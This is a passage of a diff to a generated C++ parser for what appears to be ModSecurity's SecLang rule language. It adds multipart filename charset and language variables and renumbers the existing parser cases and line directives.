variables::MultiPartFileNameCharset_DictElement(yystack_[0].value.as < std::string > ())); + } +#line 3643 "seclang-parser.cc" break; - case 185: // var: VARIABLE_MULTIPART_NAME "Dictionary element" -#line 1965 "seclang-parser.yy" + case 190: // var: VARIABLE_MULTIPART_FILENAME_CHARSET "Dictionary element, selected by regexp" +#line 2032 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileNameCharset_DictElementRegexp(yystack_[0].value.as < std::string > ())); + } +#line 3651 "seclang-parser.cc" + break; + + case 191: // var: VARIABLE_MULTIPART_FILENAME_CHARSET +#line 2036 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileNameCharset_NoDictElement()); + } +#line 3659 "seclang-parser.cc" + break; + + case 192: // var: VARIABLE_MULTIPART_FILENAME_LANGUAGE "Dictionary element" +#line 2040 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileNameLanguage_DictElement(yystack_[0].value.as < std::string > ())); + } +#line 3667 "seclang-parser.cc" + break; + + case 193: // var: VARIABLE_MULTIPART_FILENAME_LANGUAGE "Dictionary element, selected by regexp" +#line 2044 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileNameLanguage_DictElementRegexp(yystack_[0].value.as < std::string > ())); + } +#line 3675 "seclang-parser.cc" + break; + + case 194: // var: VARIABLE_MULTIPART_FILENAME_LANGUAGE +#line 2048 "seclang-parser.yy" + { + VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartFileNameLanguage_NoDictElement()); + } +#line 3683 "seclang-parser.cc" + break; + + case 195: // var: VARIABLE_MULTIPART_NAME "Dictionary element" +#line 2052 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartName_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3568 "seclang-parser.cc" +#line 3691 "seclang-parser.cc" break; - case 186: // var: VARIABLE_MULTIPART_NAME "Dictionary element, selected by regexp" -#line 1969 "seclang-parser.yy" + case 196: // var: VARIABLE_MULTIPART_NAME "Dictionary element, selected by regexp" +#line 2056 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartName_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3576 "seclang-parser.cc" +#line 3699 "seclang-parser.cc" break; - case 187: // var: VARIABLE_MULTIPART_NAME -#line 1973 "seclang-parser.yy" + case 197: // var: VARIABLE_MULTIPART_NAME +#line 2060 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultiPartName_NoDictElement()); } -#line 3584 "seclang-parser.cc" +#line 3707 "seclang-parser.cc" break; - case 188: // var: VARIABLE_MATCHED_VARS_NAMES "Dictionary element" -#line 1977 "seclang-parser.yy" + case 198: // var: VARIABLE_MATCHED_VARS_NAMES "Dictionary element" +#line 2064 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVarsNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3592 "seclang-parser.cc" +#line 3715 "seclang-parser.cc" break; - case 189: // var: VARIABLE_MATCHED_VARS_NAMES "Dictionary element, selected by regexp" -#line 1981 "seclang-parser.yy" + case 199: // var: VARIABLE_MATCHED_VARS_NAMES "Dictionary element, selected by regexp" +#line 2068 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVarsNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3600 "seclang-parser.cc" +#line 3723 "seclang-parser.cc" break; - case 190: // var: VARIABLE_MATCHED_VARS_NAMES -#line 1985 "seclang-parser.yy" + case 200: // var: VARIABLE_MATCHED_VARS_NAMES +#line 2072 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVarsNames_NoDictElement()); } -#line 3608 "seclang-parser.cc" +#line 3731 "seclang-parser.cc" break; - case 191: // var: VARIABLE_MATCHED_VARS "Dictionary element" -#line 1989 "seclang-parser.yy" + case 201: // var: VARIABLE_MATCHED_VARS "Dictionary element" +#line 2076 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVars_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3616 "seclang-parser.cc" +#line 3739 "seclang-parser.cc" break; - case 192: // var: VARIABLE_MATCHED_VARS "Dictionary element, selected by regexp" -#line 1993 "seclang-parser.yy" + case 202: // var: VARIABLE_MATCHED_VARS "Dictionary element, selected by regexp" +#line 2080 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVars_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3624 "seclang-parser.cc" +#line 3747 "seclang-parser.cc" break; - case 193: // var: VARIABLE_MATCHED_VARS -#line 1997 "seclang-parser.yy" + case 203: // var: VARIABLE_MATCHED_VARS +#line 2084 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MatchedVars_NoDictElement()); } -#line 3632 "seclang-parser.cc" +#line 3755 "seclang-parser.cc" break; - case 194: // var: VARIABLE_FILES "Dictionary element" -#line 2001 "seclang-parser.yy" + case 204: // var: VARIABLE_FILES "Dictionary element" +#line 2088 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Files_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3640 "seclang-parser.cc" +#line 3763 "seclang-parser.cc" break; - case 195: // var: VARIABLE_FILES "Dictionary element, selected by regexp" -#line 2005 "seclang-parser.yy" + case 205: // var: VARIABLE_FILES "Dictionary element, selected by regexp" +#line 2092 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Files_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3648 "seclang-parser.cc" +#line 3771 "seclang-parser.cc" break; - case 196: // var: VARIABLE_FILES -#line 2009 "seclang-parser.yy" + case 206: // var: VARIABLE_FILES +#line 2096 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Files_NoDictElement()); } -#line 3656 "seclang-parser.cc" +#line 3779 "seclang-parser.cc" break; - case 197: // var: VARIABLE_REQUEST_COOKIES "Dictionary element" -#line 2013 "seclang-parser.yy" + case 207: // var: VARIABLE_REQUEST_COOKIES "Dictionary element" +#line 2100 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookies_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3664 "seclang-parser.cc" +#line 3787 "seclang-parser.cc" break; - case 198: // var: VARIABLE_REQUEST_COOKIES "Dictionary element, selected by regexp" -#line 2017 "seclang-parser.yy" + case 208: // var: VARIABLE_REQUEST_COOKIES "Dictionary element, selected by regexp" +#line 2104 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookies_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3672 "seclang-parser.cc" +#line 3795 "seclang-parser.cc" break; - case 199: // var: VARIABLE_REQUEST_COOKIES -#line 2021 "seclang-parser.yy" + case 209: // var: VARIABLE_REQUEST_COOKIES +#line 2108 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookies_NoDictElement()); } -#line 3680 "seclang-parser.cc" +#line 3803 "seclang-parser.cc" break; - case 200: // var: VARIABLE_REQUEST_HEADERS "Dictionary element" -#line 2025 "seclang-parser.yy" + case 210: // var: VARIABLE_REQUEST_HEADERS "Dictionary element" +#line 2112 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeaders_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3688 "seclang-parser.cc" +#line 3811 "seclang-parser.cc" break; - case 201: // var: VARIABLE_REQUEST_HEADERS "Dictionary element, selected by regexp" -#line 2029 "seclang-parser.yy" + case 211: // var: VARIABLE_REQUEST_HEADERS "Dictionary element, selected by regexp" +#line 2116 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeaders_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3696 "seclang-parser.cc" +#line 3819 "seclang-parser.cc" break; - case 202: // var: VARIABLE_REQUEST_HEADERS -#line 2033 "seclang-parser.yy" + case 212: // var: VARIABLE_REQUEST_HEADERS +#line 2120 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestHeaders_NoDictElement()); } -#line 3704 "seclang-parser.cc" +#line 3827 "seclang-parser.cc" break; - case 203: // var: VARIABLE_RESPONSE_HEADERS "Dictionary element" -#line 2037 "seclang-parser.yy" + case 213: // var: VARIABLE_RESPONSE_HEADERS "Dictionary element" +#line 2124 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeaders_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3712 "seclang-parser.cc" +#line 3835 "seclang-parser.cc" break; - case 204: // var: VARIABLE_RESPONSE_HEADERS "Dictionary element, selected by regexp" -#line 2041 "seclang-parser.yy" + case 214: // var: VARIABLE_RESPONSE_HEADERS "Dictionary element, selected by regexp" +#line 2128 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeaders_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3720 "seclang-parser.cc" +#line 3843 "seclang-parser.cc" break; - case 205: // var: VARIABLE_RESPONSE_HEADERS -#line 2045 "seclang-parser.yy" + case 215: // var: VARIABLE_RESPONSE_HEADERS +#line 2132 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ResponseHeaders_NoDictElement()); } -#line 3728 "seclang-parser.cc" +#line 3851 "seclang-parser.cc" break; - case 206: // var: VARIABLE_GEO "Dictionary element" -#line 2049 "seclang-parser.yy" + case 216: // var: VARIABLE_GEO "Dictionary element" +#line 2136 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Geo_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3736 "seclang-parser.cc" +#line 3859 "seclang-parser.cc" break; - case 207: // var: VARIABLE_GEO "Dictionary element, selected by regexp" -#line 2053 "seclang-parser.yy" + case 217: // var: VARIABLE_GEO "Dictionary element, selected by regexp" +#line 2140 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Geo_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3744 "seclang-parser.cc" +#line 3867 "seclang-parser.cc" break; - case 208: // var: VARIABLE_GEO -#line 2057 "seclang-parser.yy" + case 218: // var: VARIABLE_GEO +#line 2144 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Geo_NoDictElement()); } -#line 3752 "seclang-parser.cc" +#line 3875 "seclang-parser.cc" break; - case 209: // var: VARIABLE_REQUEST_COOKIES_NAMES "Dictionary element" -#line 2061 "seclang-parser.yy" + case 219: // var: VARIABLE_REQUEST_COOKIES_NAMES "Dictionary element" +#line 2148 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookiesNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3760 "seclang-parser.cc" +#line 3883 "seclang-parser.cc" break; - case 210: // var: VARIABLE_REQUEST_COOKIES_NAMES "Dictionary element, selected by regexp" -#line 2065 "seclang-parser.yy" + case 220: // var: VARIABLE_REQUEST_COOKIES_NAMES "Dictionary element, selected by regexp" +#line 2152 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookiesNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3768 "seclang-parser.cc" +#line 3891 "seclang-parser.cc" break; - case 211: // var: VARIABLE_REQUEST_COOKIES_NAMES -#line 2069 "seclang-parser.yy" + case 221: // var: VARIABLE_REQUEST_COOKIES_NAMES +#line 2156 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::RequestCookiesNames_NoDictElement()); } -#line 3776 "seclang-parser.cc" +#line 3899 "seclang-parser.cc" break; - case 212: // var: VARIABLE_MULTIPART_PART_HEADERS "Dictionary element" -#line 2073 "seclang-parser.yy" + case 222: // var: VARIABLE_MULTIPART_PART_HEADERS "Dictionary element" +#line 2160 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartPartHeaders_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3784 "seclang-parser.cc" +#line 3907 "seclang-parser.cc" break; - case 213: // var: VARIABLE_MULTIPART_PART_HEADERS "Dictionary element, selected by regexp" -#line 2077 "seclang-parser.yy" + case 223: // var: VARIABLE_MULTIPART_PART_HEADERS "Dictionary element, selected by regexp" +#line 2164 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartPartHeaders_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3792 "seclang-parser.cc" +#line 3915 "seclang-parser.cc" break; - case 214: // var: VARIABLE_MULTIPART_PART_HEADERS -#line 2081 "seclang-parser.yy" + case 224: // var: VARIABLE_MULTIPART_PART_HEADERS +#line 2168 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::MultipartPartHeaders_NoDictElement()); } -#line 3800 "seclang-parser.cc" +#line 3923 "seclang-parser.cc" break; - case 215: // var: VARIABLE_RULE "Dictionary element" -#line 2085 "seclang-parser.yy" + case 225: // var: VARIABLE_RULE "Dictionary element" +#line 2172 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Rule_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3808 "seclang-parser.cc" +#line 3931 "seclang-parser.cc" break; - case 216: // var: VARIABLE_RULE "Dictionary element, selected by regexp" -#line 2089 "seclang-parser.yy" + case 226: // var: VARIABLE_RULE "Dictionary element, selected by regexp" +#line 2176 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Rule_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3816 "seclang-parser.cc" +#line 3939 "seclang-parser.cc" break; - case 217: // var: VARIABLE_RULE -#line 2093 "seclang-parser.yy" + case 227: // var: VARIABLE_RULE +#line 2180 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Rule_NoDictElement()); } -#line 3824 "seclang-parser.cc" +#line 3947 "seclang-parser.cc" break; - case 218: // var: "RUN_TIME_VAR_ENV" "Dictionary element" -#line 2097 "seclang-parser.yy" + case 228: // var: "RUN_TIME_VAR_ENV" "Dictionary element" +#line 2184 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Env("ENV:" + yystack_[0].value.as < std::string > ())); } -#line 3832 "seclang-parser.cc" +#line 3955 "seclang-parser.cc" break; - case 219: // var: "RUN_TIME_VAR_ENV" "Dictionary element, selected by regexp" -#line 2101 "seclang-parser.yy" + case 229: // var: "RUN_TIME_VAR_ENV" "Dictionary element, selected by regexp" +#line 2188 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Env("ENV:" + yystack_[0].value.as < std::string > ())); } -#line 3840 "seclang-parser.cc" +#line 3963 "seclang-parser.cc" break; - case 220: // var: "RUN_TIME_VAR_ENV" -#line 2105 "seclang-parser.yy" + case 230: // var: "RUN_TIME_VAR_ENV" +#line 2192 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Env("ENV")); } -#line 3848 "seclang-parser.cc" +#line 3971 "seclang-parser.cc" break; - case 221: // var: "RUN_TIME_VAR_XML" "Dictionary element" -#line 2109 "seclang-parser.yy" + case 231: // var: "RUN_TIME_VAR_XML" "Dictionary element" +#line 2196 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::XML("XML:" + yystack_[0].value.as < std::string > ())); } -#line 3856 "seclang-parser.cc" +#line 3979 "seclang-parser.cc" break; - case 222: // var: "RUN_TIME_VAR_XML" "Dictionary element, selected by regexp" -#line 2113 "seclang-parser.yy" + case 232: // var: "RUN_TIME_VAR_XML" "Dictionary element, selected by regexp" +#line 2200 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::XML("XML:" + yystack_[0].value.as < std::string > ())); } -#line 3864 "seclang-parser.cc" +#line 3987 "seclang-parser.cc" break; - case 223: // var: "RUN_TIME_VAR_XML" -#line 2117 "seclang-parser.yy" + case 233: // var: "RUN_TIME_VAR_XML" +#line 2204 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::XML_NoDictElement()); } -#line 3872 "seclang-parser.cc" +#line 3995 "seclang-parser.cc" break; - case 224: // var: "FILES_TMPNAMES" "Dictionary element" -#line 2121 "seclang-parser.yy" + case 234: // var: "FILES_TMPNAMES" "Dictionary element" +#line 2208 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3880 "seclang-parser.cc" +#line 4003 "seclang-parser.cc" break; - case 225: // var: "FILES_TMPNAMES" "Dictionary element, selected by regexp" -#line 2125 "seclang-parser.yy" + case 235: // var: "FILES_TMPNAMES" "Dictionary element, selected by regexp" +#line 2212 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3888 "seclang-parser.cc" +#line 4011 "seclang-parser.cc" break; - case 226: // var: "FILES_TMPNAMES" -#line 2129 "seclang-parser.yy" + case 236: // var: "FILES_TMPNAMES" +#line 2216 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::FilesTmpNames_NoDictElement()); } -#line 3896 "seclang-parser.cc" +#line 4019 "seclang-parser.cc" break; - case 227: // var: "RESOURCE" run_time_string -#line 2133 "seclang-parser.yy" + case 237: // var: "RESOURCE" run_time_string +#line 2220 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Resource_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 3904 "seclang-parser.cc" +#line 4027 "seclang-parser.cc" break; - case 228: // var: "RESOURCE" "Dictionary element" -#line 2137 "seclang-parser.yy" + case 238: // var: "RESOURCE" "Dictionary element" +#line 2224 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Resource_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3912 "seclang-parser.cc" +#line 4035 "seclang-parser.cc" break; - case 229: // var: "RESOURCE" "Dictionary element, selected by regexp" -#line 2141 "seclang-parser.yy" + case 239: // var: "RESOURCE" "Dictionary element, selected by regexp" +#line 2228 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Resource_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3920 "seclang-parser.cc" +#line 4043 "seclang-parser.cc" break; - case 230: // var: "RESOURCE" -#line 2145 "seclang-parser.yy" + case 240: // var: "RESOURCE" +#line 2232 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Resource_NoDictElement()); } -#line 3928 "seclang-parser.cc" +#line 4051 "seclang-parser.cc" break; - case 231: // var: "VARIABLE_IP" run_time_string -#line 2149 "seclang-parser.yy" + case 241: // var: "VARIABLE_IP" run_time_string +#line 2236 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Ip_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 3936 "seclang-parser.cc" +#line 4059 "seclang-parser.cc" break; - case 232: // var: "VARIABLE_IP" "Dictionary element" -#line 2153 "seclang-parser.yy" + case 242: // var: "VARIABLE_IP" "Dictionary element" +#line 2240 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Ip_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3944 "seclang-parser.cc" +#line 4067 "seclang-parser.cc" break; - case 233: // var: "VARIABLE_IP" "Dictionary element, selected by regexp" -#line 2157 "seclang-parser.yy" + case 243: // var: "VARIABLE_IP" "Dictionary element, selected by regexp" +#line 2244 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Ip_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3952 "seclang-parser.cc" +#line 4075 "seclang-parser.cc" break; - case 234: // var: "VARIABLE_IP" -#line 2161 "seclang-parser.yy" + case 244: // var: "VARIABLE_IP" +#line 2248 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Ip_NoDictElement()); } -#line 3960 "seclang-parser.cc" +#line 4083 "seclang-parser.cc" break; - case 235: // var: "VARIABLE_GLOBAL" run_time_string -#line 2165 "seclang-parser.yy" + case 245: // var: "VARIABLE_GLOBAL" run_time_string +#line 2252 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Global_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 3968 "seclang-parser.cc" +#line 4091 "seclang-parser.cc" break; - case 236: // var: "VARIABLE_GLOBAL" "Dictionary element" -#line 2169 "seclang-parser.yy" + case 246: // var: "VARIABLE_GLOBAL" "Dictionary element" +#line 2256 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Global_DictElement(yystack_[0].value.as < std::string > ())); } -#line 3976 "seclang-parser.cc" +#line 4099 "seclang-parser.cc" break; - case 237: // var: "VARIABLE_GLOBAL" "Dictionary element, selected by regexp" -#line 2173 "seclang-parser.yy" + case 247: // var: "VARIABLE_GLOBAL" "Dictionary element, selected by regexp" +#line 2260 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Global_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 3984 "seclang-parser.cc" +#line 4107 "seclang-parser.cc" break; - case 238: // var: "VARIABLE_GLOBAL" -#line 2177 "seclang-parser.yy" + case 248: // var: "VARIABLE_GLOBAL" +#line 2264 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Global_NoDictElement()); } -#line 3992 "seclang-parser.cc" +#line 4115 "seclang-parser.cc" break; - case 239: // var: "VARIABLE_USER" run_time_string -#line 2181 "seclang-parser.yy" + case 249: // var: "VARIABLE_USER" run_time_string +#line 2268 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::User_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 4000 "seclang-parser.cc" +#line 4123 "seclang-parser.cc" break; - case 240: // var: "VARIABLE_USER" "Dictionary element" -#line 2185 "seclang-parser.yy" + case 250: // var: "VARIABLE_USER" "Dictionary element" +#line 2272 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::User_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4008 "seclang-parser.cc" +#line 4131 "seclang-parser.cc" break; - case 241: // var: "VARIABLE_USER" "Dictionary element, selected by regexp" -#line 2189 "seclang-parser.yy" + case 251: // var: "VARIABLE_USER" "Dictionary element, selected by regexp" +#line 2276 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::User_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4016 "seclang-parser.cc" +#line 4139 "seclang-parser.cc" break; - case 242: // var: "VARIABLE_USER" -#line 2193 "seclang-parser.yy" + case 252: // var: "VARIABLE_USER" +#line 2280 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::User_NoDictElement()); } -#line 4024 "seclang-parser.cc" +#line 4147 "seclang-parser.cc" break; - case 243: // var: "VARIABLE_TX" run_time_string -#line 2197 "seclang-parser.yy" + case 253: // var: "VARIABLE_TX" run_time_string +#line 2284 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Tx_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 4032 "seclang-parser.cc" +#line 4155 "seclang-parser.cc" break; - case 244: // var: "VARIABLE_TX" "Dictionary element" -#line 2201 "seclang-parser.yy" + case 254: // var: "VARIABLE_TX" "Dictionary element" +#line 2288 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Tx_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4040 "seclang-parser.cc" +#line 4163 "seclang-parser.cc" break; - case 245: // var: "VARIABLE_TX" "Dictionary element, selected by regexp" -#line 2205 "seclang-parser.yy" + case 255: // var: "VARIABLE_TX" "Dictionary element, selected by regexp" +#line 2292 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Tx_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4048 "seclang-parser.cc" +#line 4171 "seclang-parser.cc" break; - case 246: // var: "VARIABLE_TX" -#line 2209 "seclang-parser.yy" + case 256: // var: "VARIABLE_TX" +#line 2296 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Tx_NoDictElement()); } -#line 4056 "seclang-parser.cc" +#line 4179 "seclang-parser.cc" break; - case 247: // var: "VARIABLE_SESSION" run_time_string -#line 2213 "seclang-parser.yy" + case 257: // var: "VARIABLE_SESSION" run_time_string +#line 2300 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Session_DynamicElement(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 4064 "seclang-parser.cc" +#line 4187 "seclang-parser.cc" break; - case 248: // var: "VARIABLE_SESSION" "Dictionary element" -#line 2217 "seclang-parser.yy" + case 258: // var: "VARIABLE_SESSION" "Dictionary element" +#line 2304 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Session_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4072 "seclang-parser.cc" +#line 4195 "seclang-parser.cc" break; - case 249: // var: "VARIABLE_SESSION" "Dictionary element, selected by regexp" -#line 2221 "seclang-parser.yy" + case 259: // var: "VARIABLE_SESSION" "Dictionary element, selected by regexp" +#line 2308 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Session_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4080 "seclang-parser.cc" +#line 4203 "seclang-parser.cc" break; - case 250: // var: "VARIABLE_SESSION" -#line 2225 "seclang-parser.yy" + case 260: // var: "VARIABLE_SESSION" +#line 2312 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::Session_NoDictElement()); } -#line 4088 "seclang-parser.cc" +#line 4211 "seclang-parser.cc" break; - case 251: // var: "Variable ARGS_NAMES" "Dictionary element" -#line 2229 "seclang-parser.yy" + case 261: // var: "Variable ARGS_NAMES" "Dictionary element" +#line 2316 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4096 "seclang-parser.cc" +#line 4219 "seclang-parser.cc" break; - case 252: // var: "Variable ARGS_NAMES" "Dictionary element, selected by regexp" -#line 2233 "seclang-parser.yy" + case 262: // var: "Variable ARGS_NAMES" "Dictionary element, selected by regexp" +#line 2320 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsNames_DictElementRegexp(yystack_[0].value.as < std::string > ())); } -#line 4104 "seclang-parser.cc" +#line 4227 "seclang-parser.cc" break; - case 253: // var: "Variable ARGS_NAMES" -#line 2237 "seclang-parser.yy" + case 263: // var: "Variable ARGS_NAMES" +#line 2324 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsNames_NoDictElement()); } -#line 4112 "seclang-parser.cc" +#line 4235 "seclang-parser.cc" break; - case 254: // var: VARIABLE_ARGS_GET_NAMES "Dictionary element" -#line 2241 "seclang-parser.yy" + case 264: // var: VARIABLE_ARGS_GET_NAMES "Dictionary element" +#line 2328 "seclang-parser.yy" { VARIABLE_CONTAINER(yylhs.value.as < std::unique_ptr > (), new variables::ArgsGetNames_DictElement(yystack_[0].value.as < std::string > ())); } -#line 4120 "seclang-parser.cc" +#line 4243 "seclang-parser.cc" break; - case 255: // var: VARIABLE_ARGS_GET_NAMES "Dictionary element, selected by regexp" -#line 2245 "seclang-parser.yy" + case 265: // var: VARIABLE_ARGS_GET_NAMES "Dictionary element, selected by regexp" +#line 2332 "seclang-parser.yy" 